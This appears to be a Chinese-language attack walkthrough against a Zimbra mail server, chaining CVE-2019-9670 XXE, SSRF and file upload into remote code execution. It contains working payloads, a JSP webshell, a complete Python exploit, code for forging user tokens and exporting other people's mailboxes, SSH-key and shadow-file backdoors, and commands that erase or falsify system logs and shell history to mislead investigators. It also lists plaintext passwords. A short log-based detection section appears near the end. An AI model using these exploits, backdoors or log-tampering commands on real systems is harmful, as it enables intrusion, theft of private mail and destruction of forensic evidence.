在这里我们选择使用 centos7 搭建,具体流程参考下面三个链接即可。
https://blog.csdn.net/u013618714/article/details/115478116
ttps://www.jianshu.com/p/722bc70ff426
https://xz.aliyun.com/t/7991#toc-0
基本信息:
vvvv1.zimbra.com
账户密码:admin@vvvv1.zimbra.com\123456
成功安装后,ping 域名即可得到 ip:
在外网访问目标网页,发现无法访问,原因是防火墙没有对外开放对应的端口。
开启 443 端口或者关闭防火墙
iptables -I INPUT -p tcp --dport 443 -j ACCEPT # 开启 443 端口
关闭防火墙
systemctl stop firewalld
创建用户
zmprov createAccount mary@zimbra.com admin123 displayName 'Mary'
zmprov createAccount tom@zimbra.com admin123 displayName 'Tom'
或者在管理页面创建
root:6*fe~%xX4br)R8piK5Y
vvvv1:R8+)uNIe_$Z~Jmx6hSE
admin@vvvv1.zimbra.com:()5h8G@rv8qebcWCWjxH
zjj@vvvv1.zimbra.com:1a1L+t#L#7Lrh7AO2xi
xyq@vvvv1.zimbra.com:YJzmSl!o1Nwo%$Ld3npl
https://blog.csdn.net/qq_44700119/article/details/129478006
https://cn-sec.com/archives/1165703.html
http://www.xbhp.cn/news/152117.html
POST 请求 / Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1 Host: 192.168.52.142 Cookie: ZA_SKIN=serenity; ZA_TEST=true; ZM_TEST=true Cache-Control: max-age=0 Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
验证成功,返回 / etc/passwd 内容。
XXE 漏洞原理:
http://www.xbhp.cn/news/152117.html
利用 xxe 漏洞获取 zimbra 的关键配置文件内容,目的是从配置文件中获取 zimbra 的用户名及密码信息。对应的关键配置文件为 localconfig.xml。
但是还有一个问题:这个目标文件是一个 xml 文件,因此不能直接在数据包中替换,(由于 localconfig.xml 为 XML 文件,需要加上 CDATA 标签才能作为文本读取) 需要借用外部 dtd, 构造的外部 dtd 如下:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
将该 dtd 命名为 poc.dtd,并且在目标主机能访问到的主机开启 http 服务,保证在发送数据包的时候可以成功访问到目标文件,使其远程执行该 dtd 文件。
kali 开启 http
python3 -m http.server 7777
发送如下数据包包含远程 dtd 文件。
POST /Autodiscover/Autodiscover.xml HTTP/1.1 Host: 192.168.52.142 Cookie: ZA_SKIN=serenity; ZA_TEST=true; ZM_TEST=true Cache-Control: max-age=0 Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
获得密码:3JS3MkuYGG
获取低权限的 token
这里是向客户端登陆处 / service/soap 发送,也可以向管理员登陆处 7071 端口 / service/admin/soap 发送 payload 直接获取高权限 token,注意下改端口以及将 <AuthRequest xmlns="urn:zimbraAccount"> 改为 < AuthRequest xmlns="urn:zimbraAdmin"> 即可。
POST /service/soap HTTP/1.1 Host: 192.168.52.142 Content-Length: 469 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63 Content-Type: application/soap+xml; charset=UTF-8 Accept: *
将获取到的低权限 token 设置到 cookie 中,探测是否存在 ssrf,注意,修改 cookie 时如果 401 错误,将 cookie 字段 ZM_AUTH_TOKEN 改为 ZM_ADMIN_AUTH_TOKEN 即可
POST /service/proxy?target=https: Host: 192.168.8.130:7071 Content-Length: 0 Cookie: ZM_ADMIN_AUTH_TOKEN=0_445fad824269f204515a7c310c0fc7fbfcfc425c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383737333133323439343b747970653d363a7a696d6272613b7469643d31303a313338303230313330343b User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63 Content-Type: application/soap+xml; charset=UTF-8 Accept: *
获取高权限的 token
ssrf 可利用后,结合低权限 token 获取一个高权限 token,将 <AuthRequest xmlns="urn:zimbraAccount"> 改为 < AuthRequest xmlns="urn:zimbraAdmin">
POST /service/proxy?target=https: Host: 192.168.52.142:7071 Content-Length: 465 Cookie: ZM_ADMIN_AUTH_TOKEN=0_8461306ed16127d9f1138721e76f49db3b176a4c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638393930353136373739383b747970653d363a7a696d6272613b7469643d31303a313430363031313230313b; User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63 Content-Type: application/soap+xml; charset=UTF-8 Accept: *
利用获取到的高权限 token 调用文件上传接口 / service/extension/clientUploader/upload,上传 webshell
上传一句话木马
密码:passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
POST /service/extension/clientUploader/upload HTTP/1.1 Host: 192.168.52.142:7071 Cookie:ZM_ADMIN_AUTH_TOKEN=0_ac132517416ecf59c8e7f0e221f8efcf055e535b_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638393639313639383131313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3232333338353538393b; User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63 Accept: *
以上的流程可以编写 exp
import requests
import sys
import urllib.parse
import re
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class zimbra_rce(object):
def __init__(self, base_url, dtd_url, file_name, payload_file):
self.base_url = base_url
self.dtd_url = dtd_url
self.low_auth = {}
self.file_name = file_name
self.payload = open(payload_file, "r").read()
self.pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
def upload_dtd_payload(self):
'''
Example DTD payload:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
'''
xxe_payload = r"""
%dtd;
%all;
]>
<Autodiscover xmlns="http:
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(self.dtd_url)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',
"Content-Type":"application/xml"
}
print("[*] Uploading DTD.", end="\r")
dtd_request = requests.post(self.base_url+"/Autodiscover/Autodiscover.xml",data=xxe_payload,headers=headers,verify=False,timeout=15)
# print(r.text)
if 'response schema not available' not in dtd_request.text:
print("[-] Site Not Vulnerable To XXE.")
return False
else:
print("[+] Uploaded DTD.")
print("[*] Attempting to extract User/Pass.", end="\r")
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
if pattern_name.findall(dtd_request.text) and pattern_password.findall(dtd_request.text):
username = pattern_name.findall(dtd_request.text)[0][2]
password = pattern_password.findall(dtd_request.text)[0][2]
self.low_auth = {"username" : username, "password" : password}
print("[+] Extracted Username: {} Password: {}".format(username, password))
return True
print("[-] Unable To extract User/Pass.")
return False
def make_xml_auth_body(self, xmlns, username, password):
auth_body="""<soap:Envelope xmlns:soap="http:
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="{}">
<account by="adminName">{}</account>
<password>{}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>"""
return auth_body.format(xmlns, username, password)
def gather_low_auth_token(self):
print("[*] Getting Low Privilege Auth Token", end="\r")
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',
"Content-Type":"application/xml"
}
r=requests.post(self.base_url+"/service/soap",data=self.make_xml_auth_body(
"urn:zimbraAccount",
self.low_auth["username"],
self.low_auth["password"]
), headers=headers, verify=False, timeout=15)
low_priv_token = self.pattern_auth_token.findall(r.text)
if low_priv_token:
print("[+] Gathered Low Auth Token.")
return low_priv_token[0].strip()
print("[-] Failed to get Low Auth Token")
return False
def ssrf_admin_token(self, low_priv_token):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',
"Content-Type":"application/xml"
}
headers["Host"]="{}:7071".format(urllib.parse.urlparse(self.base_url).netloc.split(":")[0])
print("[*] Getting Admin Auth Token By SSRF", end="\r")
r = requests.post(self.base_url+"/service/proxy?target=https:
data=self.make_xml_auth_body(
"urn:zimbraAdmin",
self.low_auth["username"],
self.low_auth["password"]
),
verify=False,
headers=headers,
cookies={"ZM_ADMIN_AUTH_TOKEN":low_priv_token}
)
admin_token = self.pattern_auth_token.findall(r.text)
if admin_token:
print("[+] Gathered Admin Auth Token.")
return admin_token[0].strip()
print("[-] Failed to get Admin Auth Token")
return False
def upload_payload(self, admin_token):
f = {
'filename1':(None, "whatszimbra", None),
'clientFile':(self.file_name, self.payload, "text/plain"),
'requestId':(None, "12356721-3268-3782", None),
}
cookies = {
"ZM_ADMIN_AUTH_TOKEN":admin_token
}
print("[*] Uploading file", end="\r")
r = requests.post(self.base_url+"/service/extension/clientUploader/upload",files=f,
cookies=cookies,
verify=False
)
if r.status_code == 200:
r = requests.get(self.base_url + "/downloads/" + self.file_name,
cookies=cookies,
verify=False
)
if r.status_code != 404:
print("[+] Uploaded file to: {}/downloads/{}".format(self.base_url, self.file_name))
print("[+] You may need the need cookie: \n{}={};".format("ZM_ADMIN_AUTH_TOKEN", cookies["ZM_ADMIN_AUTH_TOKEN"]))
return True
print("[-] Cannot Upload File.")
return False
def exploit(self):
try:
if self.upload_dtd_payload():
low_auth_token = self.gather_low_auth_token()
if low_auth_token:
admin_auth_token = self.ssrf_admin_token(low_auth_token)
if admin_auth_token:
return self.upload_payload(admin_auth_token)
except Exception as e:
print("Error: {}".format(e))
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Zimbra RCE CVE-2019-9670')
parser.add_argument('-u', '--url', action='store', dest='url',
help='Target url', required=True)
parser.add_argument('-d', '--dtd', action='store', dest='dtd',
help='Url to DTD', required=True)
parser.add_argument('-n', '--name', action='store', dest='payload_name',
help='Name of uploaded payload', required=True)
parser.add_argument('-f', '--file', action='store', dest='payload_file',
help='File containing payload', required=True)
results = parser.parse_args()
z = zimbra_rce(results.url, results.dtd, results.payload_name, results.payload_file)
z.exploit()
这一个漏洞主要分为三部来进行利用:
1. 利用 XXE 漏洞获取到 zimbra 账号和密码;
2. 利用 ssrf 和 zimbra 接口调用获取到高权限 token;
3. 利用高权限 token 上传 webshell 进行连接;
通过 XXE 漏洞读取 zimbra 账号密码,而 zimbra 账号是无法进行登录的,但是拥有很高的权限,可以使用该用户的 token 来调用管理员的 api 接口。
实际上,只要拥有管理员级别的高权限 token,就可以调用接口 DelegateAuth 来获取其他用户的 token,获取到其他用户的 token 就可以直接登录 web 网站导出对应的邮件。
请求包构造:
{token}:已经持有的高权限 token
{mail}:需要获得的 token 的用户邮箱名称
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>{token}</authToken>
</context>
</soap:Header>
<soap:Body>
<DelegateAuthRequest xmlns="urn:zimbraAdmin">
<account by="name">{mail}</account>
</DelegateAuthRequest>
</soap:Body>
</soap:Envelope>
对于使用 ssrf 的思考:
如果在 XXE 漏洞存在的情况下,我们已经获取到了 zimbra 用户的账号密码,那么就可以使用访问 / service/soap 将 zimbra 用户的账号密码转化成低权限 token,用来访问 443 端口的网页。
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">{username}</account>
<password>{password}</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
但是,如果我们想要获得其他用户的 token,就需要访问到 7071 的管理员页面,假如 7071 的可以访问的情况下,我们就可以直接调用接口 DelegateAuth 获取其他用户的 token,但是如果目标机器防火墙并未开放 7071 管理员页面,那么就无法直接访问 / service/admin/soap,那么就必须要使用 ssrf 漏洞了,通过内部访问 7071 端口,从内部获取其他用户的 token,访问 / service/proxy?target=https://127.0.0.1:7071/service/admin/soap 即可绕过防火墙限制。
通过获取到 zimbra 账户密码,利用 zimbra 账户密码转换成 token,去获取其他用户的 token,然后可以通过其他用户的 token 去登录其他用户的邮箱,来导出邮件。
利用脚本:
https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py
接口利用:
https://files.zimbra.com/docs/soap_api/8.6.0/api-reference/index.html
https://3gstudent.github.io/Zimbra-SOAP-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97
从 web 网页导出邮件的方法
获取到用户 token 后,我们可以在浏览器中导入 token,刷新页面就可以进入到网页之中了。
点击首选项 -> 导入 / 导出处即可导出用户邮件。
当然,也可以通过调用接口来实现。
这个方法适用于获取了 zimbra 用户的账号以及 token,然后获取了其他用户 token 的。
如何获取其他用户 token 的方法已经在上文进行介绍了,这里主要介绍导出邮件的接口利用。
只需要一个 GET 请求即可:
def exportmailall_request(uri,token,mailbox):
from time import localtime, strftime
exporttime = strftime("%Y-%m-%d-%H%M%S", localtime())
filename = "All-" + str(exporttime)
url = uri + "/home/" + mailbox + "/?fmt=tgz&filename=" + filename + "&emptyname=No+Data+to+Export&charset=UTF-8&callback=ZmImportExportController.exportErrorCallback__export1"
headers["Cookie"]="ZM_AUTH_TOKEN="+token+";"
r = requests.get(url,headers=headers,verify=False)
if r.status_code == 200:
print("[*] Try to export the mail")
path = filename + ".tgz"
with open(path, 'wb+') as file_object:
file_object.write(r.content)
print("[+] Save as " + path)
else:
print("[!]")
print(r.status_code)
print(r.text)
方式一主要依赖 zimbra 账号的 token,如果目标修改了 zimbra 账号密码的话,就无法继续导出邮件。
方式二不依赖 zimbra 账号,在我们获取了 webshell 或者有机会以 zimbra 或者管理员身份执行命令的适合即可使用方式二,而且即使后期对方修改了 zimbra 账号密码也不影响我们导出其他用户的 token。
https://wiki.zimbra.com/wiki/Preauth
预认证攻击:
通过 preAuthKey 结合用户名、计时器和定时器时间,计算得出的 HMAC 身份验证的令牌,可用于用户邮箱和 SOAP 登录。
首先需要生成 preAuthKey
搜索 zmprov 命令地址
find /opt/ -name zmprov
zmrov generateDomainPreAuthKey <domain>
zmprov generateDomainPreAuthKey vvvv1.zimbra.com
读取已有的 PreAuthKey
/opt/zimbra/bin/zmprov gd <domain> zimbraPreAuthKey
preAuthKey: cd5df57188a43ed393c4001786a864e3752e21a759383072d02980057637aca2
利用这个 key,就可以生成其他用户的 token 了
def generate_preauth(target, mailbox, preauth_key):
try:
preauth_url = target + "/service/preauth"
timestamp = int(time()*1000)
data = "{mailbox}|name|0|{timestamp}".format(mailbox=mailbox, timestamp=timestamp)
pak = hmac.new(preauth_key.encode(), data.encode(), hashlib.sha1).hexdigest()
print("[+] Preauth url: ")
print("%s?account=%s&expires=0×tamp=%s&preauth=%s"%(preauth_url, mailbox, timestamp, pak))
return timestamp, pak
except Exception as e:
print("[!] Error:%s"%(e))
生成过程:
1. 提供 URL 接口的地方是 /service/preauth? 而这个接口需要接收四个参数分别是
account={account-identifier}
# 这里就是填用户的邮箱地址
by={by-value}
# 这个一般是设置属性,一般默认的是 name
timestamp={time}
# 当前时间的时间戳 要在服务器的时间的 5 分钟内
expires={expires}
# 设置 token 过期时间,一般设置 0 是选着默认的过期时间
[&admin=1]
# 这个参数是在请求管理员的预登录才有,并且是请求来自管理端口 (https 7071)
preauth={computed-preauth}
2. 计算 preauth 参数的值
将 accoun,by,expires,timestamp 按照顺序用 | 连接
accoun|by|expires|timestamp
john.doe@domain.com|name|0|1135280708088
3. 然后使用 SHA-1 HMAC 计算
preauth = hmac("john.doe@domain.com|name|0|1135280708088",
"6b7ead4bd425836e8cf0079cd6c1a05acc127acd07c8ee4b61023e19250e929c");
preauth-value: b248f6cfd027edd45c5369f8490125204772f844
4. 最后拼接为 url,去请求接口即可
/service/preauth?
account=john.doe@domain.com&expires=0×tamp=1135280708088&preauth=b248f6cfd027edd45c5369f8490125204772f844
代码会自动生成可用的 URL,浏览器访问可以登录指定邮箱。
当然,我们也可以生成 token 来进行使用。
调用接口 / service/soap,通过 mail、timestamp、pak 来生成对应用户的 token。
def auth_request_preauth(uri,username,timestamp,pak):
request_body="""<soap:Envelope xmlns:soap="http:
<soap:Header>
<context xmlns="urn:zimbra">
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account>{username}</account>
<preauth timestamp="{timestamp}" expires="0">{pak}</preauth>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
try:
r=requests.post(uri+"/service/soap",headers=headers,data=request_body.format(username=username,timestamp=timestamp,pak=pak),verify=False,timeout=15)
if 'authentication failed' in r.text:
print("[-] Authentication failed for %s"%(username))
exit(0)
elif 'authToken' in r.text:
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
token = pattern_auth_token.findall(r.text)[0]
print("[+] Authentication success for %s"%(username))
print("[*] authToken_low:%s"%(token))
return token
else:
print("[!]")
print(r.text)
except Exception as e:
print("[!] Error:%s"%(e))
exit(0)
生成 token 后就可以导出邮件了,导出邮件的方法也和上面的方法相同,这里就不过多进行叙述了。
为什么可以免密登陆呢?
可以理解为公钥就是一把锁,私钥就是钥匙,如果我们无法登陆对方的机器,将我们的公钥写入对方机器,那么就相当于将对方的锁更换,这样就可以使用我们的钥匙连接。当然,也可以将对方的私钥写入我们的机器,就相当于拿到对方的锁的钥匙,也可以直接连接。
https://www.freebuf.com/sectool/269922.html
当我们获取到了对方 root 权限,或者拥有对~/.ssh / 文件夹的写入权限,那么就可以通过上传自己的公钥,通过保存在本地是私钥与公钥进行认证,达到免密登录。
当然,如果我们没有 root 权限的话,获取到哪一个用户的权限,就直接在哪个用户目录下的. ssh 目录下写入公钥即可。
转到当前用户的 HOME 目录
cd ~
打印出当前用户的 HOME 目录路径
echo $HOME
如果 HOME 目录下没有. ssh 文件的话,使用命令创建. ssh 文件
ssh localhost
如果对方. ssh 文件已经存在 authorized_keys 文件,那么只能将密钥追加到末尾。
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9Z8d1+ylGbT7AM4IrFYpkhWuCljCtOJ/Mv5bWUiwJHj3oUKZLm2jANlLuBFW1OQ94CPvzAkvnvHx2CXahTIXqiZ4Jb1sdw/FfpYZXTgyBKZ6prKIHBu6oQF+AAHtYjq8Gs2OQvWfXm6eITfO1IknIQN1zRwRZFBGX2SzGZxpKOdHze1Pe6uEwXf9XK4aCpBlCaeEqmtfN3ImDVXEYxWgbp3cKWeZC2FZ2JgvqcfAL2FVJ4BGX7iRSY6l/ETUXlKiVN3ygveLE/pMe4wunBwkQlwqeY+TO7kO7WLuGuzOaPBJk8YmnpbZn/ha3os308xBDdFGwW4eROYZWg60kZAPUeuWotmhFajFvmE1VfXAj8FUyA5yxe4lstmOwq5/zppDSdOvt/7EEGdeb/7KyBjG+9OH/5aOIXnUg6UZC+0XxzoLFVKuJO++JeISDbt1PiOZQQquo6VxCZIJ2ZvaMCoZiA0/ptnJwEOdILP8cu5PkY8FPkx7Jzz6dlPw0kWew/ts= root@kali2023-1' >> authorized_keys
免密登录原理
ssh-keygen -t rsa // 生成公钥
id_rsa 就是生成的私钥,而 id_rsa.pub 就是生成的公钥
注意这里要将公钥 id_rsa.pub 改名为 authorized_keys 上传至目标服务器的 /.ssh 文件夹下。并且./ssh 下的文件必须 chmod -R 600 .ssh/ 否则权限不够。
修改 StrictModes 属性(可以选择设置)
默认 StrictModes 属性是 yes,需要修改成 no。
文件地址:/etc/ssh/sshd_config
启用 AuthorizedKeysFile 配置(可以选择设置)
配置项 AuthorizedKeysFile 默认是注释的,需要取消注释。
文件地址:/etc/ssh/sshd_config
重启 ssh(一定要)
service sshd restart
然后直接使用 ssh 连接即可。
/etc/shadow 和 / etc/passwd 是 Linux 系统中存储用户账户信息的两个重要文件。
当我们拿下 root 权限,可以进行权限维持,通过复制 root 用户的 / etc/shadow 文件和 / etc/passwd 文件对应行,修改其他用户名,即可达到添加新用户,并可以使用 ssh 登录。
当我们对网站进行攻击,并且拿下了网站的 shell 之后,需要对我们的攻击痕迹进行清除,也要对网站进行扫描,观察是否该服务器曾经被其他人员攻击。
我们使用前面的攻击经过了三个步骤:
1. 利用 XXE 漏洞获取到 zimbra 账号和密码;
2. 利用 ssrf 和 zimbra 接口调用获取到高权限 token;
3. 利用高权限 token 上传 webshell 进行连接;
zimbra 网站日志目录地址为:
/opt/zimbra/log
在步骤一中,我们主要是使用 XXE 漏洞来远程读取../conf/localconfig.xml 文件的内容来获取 zimbra 用户的账号密码,访问的接口是 / Autodiscover/Autodiscover.xml
因此我们这里搜索日志中包含 / Autodiscover/Autodiscover.xml 的部分。
查看日志中是否存在访问 / Autodiscover/Autodiscover.xml 的日志,并输出文件名
find /opt/zimbra/log -type f | xargs grep -l -w "/Autodiscover/Autodiscover.xml"
查看该文件中符合条件的行
grep -r -w "/Autodiscover/Autodiscover.xml" /opt/zimbra/log/access_log.2023-07-18
可以发现可疑 ip:192.168.52.1。
处理办法
1. 如果该 ip 是我们的 ip,那么可以进行痕迹清理;
sed -i '/192.168.52.1/s/.*//g' access_log.2023-07-18
2. 如果该 ip 不是我们的 ip,那么需要特别注意,进行记录,有可能是其他同行的攻击痕迹;
在步骤二中,我们是利用 ssrf 和 zimbra 接口调用获取到高权限 token。
主要利用的特征有如下几个地方
查看存在痕迹的日志文件
find /opt/zimbra/log -type f | xargs grep -l -w "/service/proxy target=https://127.0.0.1:7071/service/admin/soap"
查看对应的行
find /opt/zimbra/log -type f | xargs grep -r -w "/service/proxy?target=https://127.0.0.1:7071/service/admin/soap"
可以发现可疑 ip:192.168.52.1。
处理办法
1. 如果该 ip 是我们的 ip,那么可以进行痕迹清理;
grep -l '192.168.52.1' /opt/zimbra/log/* | xargs sed -i '/192.168.52.1/s/.*//g'
2. 如果该 ip 不是我们的 ip,那么基本可以断定该 ip 为攻击 ip,因为使用了 ssrf 漏洞攻击;
防御方法
1. 添加 waf,过滤数据包中的 127.0.0.1、localhost 等字符,修补 ssrf 漏洞;
2. 上传最新的内存马,介于网站和后台之间,编写规则过滤敏感数据包;
在步骤三中,我们主要是利用高权限 token 上传 webshell 进行连接。
主要的特征如下几个地方
查看存在痕迹的文件
find /opt/zimbra/log -type f | xargs grep -l -w "service/extension/clientUploader/upload"
查看对应行
find /opt/zimbra/log -type f | xargs grep -r -w "service/extension/clientUploader/upload"
处理办法
grep -l 'service/extension/clientUploader/upload' /opt/zimbra/log/* | xargs sed -i '/service\/extension\/clientUploader\/upload/s/.*//g'
查找木马
调用上传接口上传的文件会上传到 downloads
find /opt/zimbra/log -type f | xargs grep -l -w 'downloads'
连接这个木马势必也会经过这个目录,因此可以作为筛选对象之一。
find /opt/zimbra/log -type f | xargs grep -r -w 'downloads'
grep -r -w 'downloads' /opt/zimbra/log/access_log.2023-07-19
基本可以确定这个木马为 shell.jsp
处理办法
grep -l '192.168.52.1' /opt/zimbra/log/* | xargs sed -i '/192..168.52.1/s/.*//g'
查找其他木马
查看后续马是否上传了其他的马,但是没办从日志获得 post 的具体信息,那么我们只能去通过寻找 webapp 下的路径的 jsp 类型的文件搜索他们的内容是否有敏感的函数,例如:getClassLoader() 函数
find /opt/zimbra/jetty/webapps/ -type f -name "*.jsp" | xargs grep -l -w "getClassLoader()"
打包分析木马
find /opt/zimbra/jetty/webapps/ -type f -name "*.jsp" | xargs grep -l -w "getClassLoader()" | xargs tar -cvf shell.tar
或者直接打包 jsp 后缀文件到本地分析
find /opt/zimbra/jetty/webapps/ -type f -name "*.jsp" | xargs tar -cvf shell2.tar
防止其他人继续利用的方法
1. 将 web 网站目录权限设置为只读,导致无法上传文件;
2. 将对方木马设置为只读权限,无法连接;
当一个正常的交互式 login shell 登录后,执行命令时,执行的 HISTSIZE 条命令会被记录到缓冲区里,当用户成功注销时,系统会将 HISTSIZE 条命令写入到 HISTFILE 变量中的文件里面,而 HISTFILE 变量默认的位置就是用户家目录下的 **.bash_history(~/.bash_history)** 文件。
比较重要的环境变量:
可以使用命令查看所有的环境变量
env
在 linux 中,如果想要查看单一的环境变量,可以使用下面的命令
echo $ 变量名称
当我们在渗透过程中,爆破了某台 Linux 服务器的某个用户的账号,获得了这个账号的密码,或者通过 webshell 获取到账号密码,这时肯定想登录进去进行后续的渗透工作,但是登录录之后的痕迹、爆破的痕迹要怎么清除呢?
有几个重要的日志文件需要关注
wtmp 日志:记录当前和历史登录系统的用户信息。(相关命令:last)
可以替换日志中的 IP 信息,把假线索给到溯源人员。延缓他们的溯源工作。
使用 last 命令,查看当前和历史登录信息。
可以发现我们的 ip 为 192.168.52.1,将 ip 进行替换,达到迷惑攻击者的目的
utmpdump /var/log/wtmp |sed "s/{your_ip}/{random_ip}/g" |utmpdump -r >/tmp/wtmp && mv /tmp/wtmp /var/log/wtmp
utmpdump /var/log/wtmp |sed "s/192.168.52.1/114.114.114.114/g" |utmpdump -r >/tmp/wtmp && mv /tmp/wtmp /var/log/wtmp
综合起来,该命令的作用是读取 /var/log/wtmp 登录日志文件的内容,将其中的字符串 "192.168.52.1" 替换为 "114.114.114.114",然后重新解析修改后的内容,并将结果保存到临时文件 /tmp/wtmp 中,最后使用 mv 命令将临时文件移动到 /var/log/wtmp,完成对登录日志文件的修改替换操作。
注意:wtmp 和 btmp 不要直接使用 sed 进行 ip 替换或者直接删除行,会导致日志格式乱掉或是日志内容被覆盖。
使用 lastb 命令可以看到有部分登录失败尝试
和 wtmp 文件相同的替换方法。
utmpdump /var/log/btmp |sed "s/192.168.52.1/8.8.8.8/g" |utmpdump -r >/tmp/btmp && mv /tmp/btmp /var/log/btmp
注意:wtmp 和 btmp 不要直接使用 sed 进行 ip 替换或者直接删除行,会导致日志格式乱掉或是日志内容被覆盖。
lastlog:记录用户上次登录信息。
直接使用 sed 命令进行替换即可
sed -i 's/192.168.52.130/8.8.8.8/g' /var/log/lastlog
或者直接删除
sed -i '/192.168.52.130/d' /var/log/lastlog
在 Linux 中,登录的日志信息通常存储在 /var/log/auth.log 或 /var/log/secure 文件中,具体取决于你使用的 Linux 发行版和配置。
你可以使用以下命令来查看登录日志:
sudo cat /var/log/auth.log
sudo cat /var/log/secure
这些命令将打印出完整的登录日志文件内容。请注意,需要使用超级用户权限(sudo)运行这些命令才能访问日志文件。
如果你只想查看最近的登录记录,可以使用 tail 命令来显示日志文件的最后几行:
sudo tail /var/log/auth.log
sudo tail /var/log/secure
根据你的实际需求,你可以使用其他文本查看工具(如 less、grep 等)来筛选和搜索登录日志文件的特定信息。
只要使用命令即可删除登录日志(根据 ip,也可以根据 ssh 连接的特征)
进入目录 / var/log/
grep -l '192.168.52.130' * | xargs sed -i '/192.168.52.130/s/.*//g'
grep -l 'sshd' * | xargs sed -i '/sshd/s/.*//g'
https://atsud0.me/2022/01/09/Linux%E7%97%95%E8%BF%B9%E6%B8%85%E9%99%A4%E7%AC%94%E8%AE%B0/
在渗透过程中,当我们连接上对方的机器,势必要进行命令的执行,而这些命令执行又会记录在对方机器中,假如对方管理员进行危险排查,会直接被发现,这时我们就要对我们执行的命令进行删除操作了。
history (选项)(参数)
n 显示最近的 n 条记录
-a 将历史命令缓冲区中命令写入历史命令文件中
-c 将目前的 shell 中的所有 history 内容全部消除 实际为假删除
-r 将历史命令文件中的命令读入当前历史命令缓冲区
